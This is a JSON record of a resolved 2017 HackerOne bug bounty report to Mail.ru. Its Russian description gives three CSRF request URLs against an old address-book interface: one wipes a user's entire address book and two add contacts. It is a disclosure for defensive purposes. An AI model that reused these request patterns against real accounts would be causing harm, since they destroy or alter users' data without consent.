{"id": "H1:232653", "type": "hackerone", "bulletinFamily": "bugbounty", "title": "Mail.ru: CSRF. \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432", "description": "\u041f\u0440\u0438\u0432\u0435\u0442! \u041c\u043d\u043e\u044e \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0441\u0442\u0430\u0440\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c\u0438 \u0432 \u043f\u043e\u0447\u0442\u0435: https://e.mail.ru/cgi-bin/new_absetup\n\u041d\u0435 \u0432\u0435\u0441\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0442\u0430\u043c \u0440\u0430\u0431\u043e\u0447\u0438\u0439, \u043d\u043e \u043f\u0430\u0440\u0443 CSRF \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0439\u0442\u0438:\nhttps://e.mail.ru/cgi-bin/new_absetup?remove&confirm=1 - \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0442\u0438\u0440\u0430\u0435\u0442 \u0430\u0434\u0440\u0435\u0441\u043d\u0443\u044e \u043a\u043d\u0438\u0433\u0443\nhttps://e.mail.ru/cgi-bin/new_editgroup?addgroup&group_name=test - \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0430\u043a\u0442 \u0441 \u043f\u0441\u0435\u0432\u0434\u043e\u043d\u0438\u043c\u043e\u043c test\nhttps://e.mail.ru/cgi-bin/abaddfrommail?ids=1&Name_1=test&Email_1=test@mail.ru&Name1_1=test&Name2_1=test - \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0430\u043a\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c, \u0444\u0430\u043c\u0438\u043b\u0438\u0435\u0439 \u0438 \u043f\u0441\u0435\u0432\u0434\u043e\u043d\u0438\u043c\u043e\u043c test.\n\n\u0421\u0442\u043e\u0438\u0442 \u043f\u043e\u0442\u0435\u0440\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u044b \u0441\u0442\u0430\u0440\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u0438\u0437\u0431\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u043e\u0442 CSRF", "published": "2017-05-28T15:37:54", "modified": "2017-12-29T10:59:35", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://hackerone.com/reports/232653", "reporter": "napalube", "references": [], "cvelist": [], "lastseen": "2018-11-23T14:56:24", "viewCount": 1, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2018-11-23T14:56:24", "rev": 2}, "dependencies": {"references": [], "modified": "2018-11-23T14:56:24", "rev": 2}, "vulnersScore": -0.2}, "bounty": 250.0, "bountyState": "resolved", "h1team": {"handle": "mailru", "profile_picture_urls": {"medium": "https://profile-photos.hackerone-user-content.com/000/000/065/07da688e1d8801d35fdb85376bd9d64e424e6dab_medium.png?1542897520", "small": "https://profile-photos.hackerone-user-content.com/000/000/065/b5353ff7c53e16da116c7f4e73cc5687ec7d8809_small.png?1542897520"}, "url": "https://hackerone.com/mailru"}, "h1reporter": {"disabled": false, "hacker_mediation": false, "hackerone_triager": false, "is_me?": false, "profile_picture_urls": {"small": "https://profile-photos.hackerone-user-content.com/000/033/144/135d34e464618483a053f1118d740714939eda53_small.jpg?1486799776"}, "url": "/napalube", "username": "napalube"}}

{}